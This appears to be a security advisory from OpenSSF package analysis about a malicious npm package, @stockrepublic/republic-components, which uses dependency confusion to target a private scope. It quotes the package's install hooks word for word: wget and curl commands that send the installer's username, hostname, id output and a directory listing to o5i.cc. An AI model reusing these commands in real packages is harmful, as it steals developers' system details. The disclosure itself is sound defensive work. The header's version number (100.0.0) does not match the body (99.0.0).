@stockrepublic/republic-components@100.0.0

The package masquerades as an internal @stockrepublic component (version 99.0.0, description 'Runs git diff and saves the output to git.log on install') but performs no git operation. Two independent install-time exfiltration paths fire on `npm install`: 1. package.json `preinstall` runs `wget --quiet "http://o5i.cc/supp?user=$(whoami)&path=$(pwd)&hostname=$(hostname)"`, leaking the installer's username, working directory, and hostname over plain HTTP to o5i.cc. 2. package.json `install` runs `node index.js`, which at index.js line 11 invokes `execSync("id > log.txt; ls -la >> log.txt; hostname >> log.txt; curl -X POST -F file=@log.txt https://o5i.cc/supp; curl -X POST -d \"$(id)\" https://o5i.cc/supp")`, exfiltrating uid/gid output and a directory listing of the consumer's project. The inflated 99.0.0 version in a scoped namespace, combined with a cover-story description that does not match the code, is the canonical dependency-confusion pattern targeting an organization's private @stockrepublic registry. Any developer or CI system that pulls this public package by mistake leaks identity and filesystem metadata to attacker infrastructure. ## Source: ossf-package-analysis (f5dd919316a540368ded0f9b3b7dc25a4f937373069ad4dfe1262c3b48f2949c) The OpenSSF Package Analysis project identified '@stockrepublic/republic-components' @ 99.0.0 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.